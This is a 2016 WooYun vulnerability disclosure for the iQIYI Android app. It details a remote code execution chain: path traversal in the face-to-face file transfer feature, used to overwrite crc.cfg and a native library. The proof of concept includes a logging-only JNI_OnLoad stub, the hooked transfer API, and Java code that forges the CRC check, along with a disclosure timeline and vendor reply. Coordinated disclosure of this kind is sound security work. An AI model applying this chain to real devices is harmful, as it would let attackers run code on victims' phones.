当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0176097

漏洞标题：爱奇艺APP远程代码执行（APP自身实现问题含poc）

相关厂商：奇艺

漏洞作者： 路人甲

提交时间：2016-02-16 08:59

修复时间：2016-05-16 14:10

公开时间：2016-05-16 14:10

漏洞类型：远程代码执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-16： 细节已通知厂商并且等待厂商处理中
2016-02-16： 厂商已经确认，细节仅向厂商公开
2016-02-19： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-04-11： 细节向核心白帽子及相关领域专家公开
2016-04-21： 细节向普通白帽子公开
2016-05-01： 细节向实习白帽子公开
2016-05-16： 细节向公众公开

简要描述：

爱奇艺APP远程代码执行

详细说明：

爱奇艺APP存在两处漏洞，结合使用可导致远程代码执行。（爱奇艺7.1版本）

0.jpg


第一处漏洞：面对面传视频插件存在漏洞，对传送文件不做类型判断，可以传送任意文件，同时未对保存路径做安全处理，存在../../路径穿越，因此可以向接收方发送任意文件以爱奇艺的权限保存在任意路径。
第二处漏洞：爱奇艺在校验加载的so文件时，通过比较每个so的前1024字节运算的CRC与对应目录下crc.cfg存放的crc值进行比较，从而验证so的完整性，但是并未校验crc.cfg文件的可靠性，因此，利用第一处漏洞，可以向接收者发送修改后的crc.cfg以及so文件，当下次打开爱奇艺时，可以绕过so验证，执行so代码。
攻击场景如下：
A为攻击者（发送方），B为受害者（接收方），A与B进行面对面传视屏。该攻击需要发送2次文件，第一次在A给B发送文件时，A利用HOOK技术hook住关键的API，修改发送给B的文件为修改过的crc.cfg文件，并且远程保存路径设置为使其包含../../../，实现路径穿越,覆盖接收者原来的crc.cfg。第二次在A给B发送文件时，利用HOOK技术hook住关键的API，修改发送B的文件为恶意的so代码，并且远程保存路径设置为使其包含../../../，实现路径穿越,覆盖接收者存在的一个so文件（该so文件需要与修改后的crc.cfg同目录）。对出爱奇艺，下次开启爱奇艺直接加载恶意so代码，实现代码执行。

漏洞证明：

接收者B为MX5，测试之前，先查看要修改的文件情况，POC需要修改的目录是/data/data/com.qiyi.video/files/libs-5_9_59A78C6F_1943093_，要修改其crc.cfg和其中一个so文件

so-old.png


这时候，B面对面传点击收文件功能，A面对面点击发送文件功能：
A设备上操作：
在A设备上（红米2），对关键API com.sdk.multidevicecowork.MultiDeviceCoWork$SendFileTask$SendFileThread.SendFile(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String)进行断点（或者xposed hook）。
同时自己编写一个恶意so文件，我这里仅仅打印一个log:

#include <string.h>
#include <jni.h>
#include <android/log.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
  __android_log_print(ANDROID_LOG_INFO,"OnLoad","infected");
  return JNI_VERSION_1_4;
}


so写好后，需要计算so的crc用于修改crc.cfg相关的值（爱奇艺采用的计算方法为读取so前1024字节进行crc计算），相关代码如下：

import **.**.**.**.File;
import **.**.**.**.FileInputStream;
import **.**.**.**.FileNotFoundException;
import **.**.**.**.IOException;
import java.util.zip.CRC32;
public class QiYiCrc {
	
	public static void calcQiYiCRC(File arg1) {
        byte[] v1 = readSoData(arg1, 1024);
        if(v1 != null) {
            CRC32 v0_1 = new CRC32();
            v0_1.update(v1);
            System.out.println(Long.toHexString(v0_1.getValue()).toUpperCase());
            
        }
    }
	
    private static byte[] readSoData(File arg4, int arg5) {
    	byte[] v0_2;
        FileInputStream v2 = null;
        if(arg4 != null && (arg4.exists()) && (arg4.canRead()) && arg5 <= 1024) {
        	try {
				v2 = new FileInputStream(arg4);
			} catch (FileNotFoundException e) {
				e.printStackTrace();
			}
        }
       
        v0_2 = new byte[arg5];
        try {
			v2.read(v0_2);
			
		} catch (IOException e) {
			e.printStackTrace();
		}
        if(v2 != null) {
            try {
                v2.close();
            }
            catch(IOException v1_1) {
                v1_1.printStackTrace();
            }
        }
        return v0_2;
    }
    
   
}


计算好相关的crc后，将该crc的值，以及so的大小分别填入crc.cfg,笔者修改的的值为如下：

2.png


前期准备好了之后，开始进行测试了：
第一次发送文件，选择一个文件进行发送，如下图：

4.png


之后会在上面API断下，快速修改相关参数为我们想要的参数，修改为crc.cfg（由于有心跳检测存在，如果断下后没有快速修改可能会造成发送失败，使用jdb的请快速修改），如下图：

3.png


之后，在发送一个文件，为我们需要让他执行的恶意代码so,如下图：

5.png


正常的话，B这时候都会显示接收成功，这时候，我们进入设备B，查看/data/data/com.qiyi.video/files/libs-5_9_59A78C6F_1943093_，如下图：

6.png


可以看到B设备的该目录下的crc.cfg和libiqiyi_media_player.so已经被修改，于是重启爱奇艺后发现代码执行：

7.png


之后，发现只要开启爱奇艺都会执行该代码，输出内容。。。然后相关目录下的so和crc.cfg还是被修改的

修复方案：

两部走：限制文件格式以及防止路径穿越，可以再对crc.cfg进行一次校验

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-02-16 14:02

厂商回复：

感谢您对爱奇艺的关注，请附上联系方式 我们将有小礼物发送

最新状态：

暂无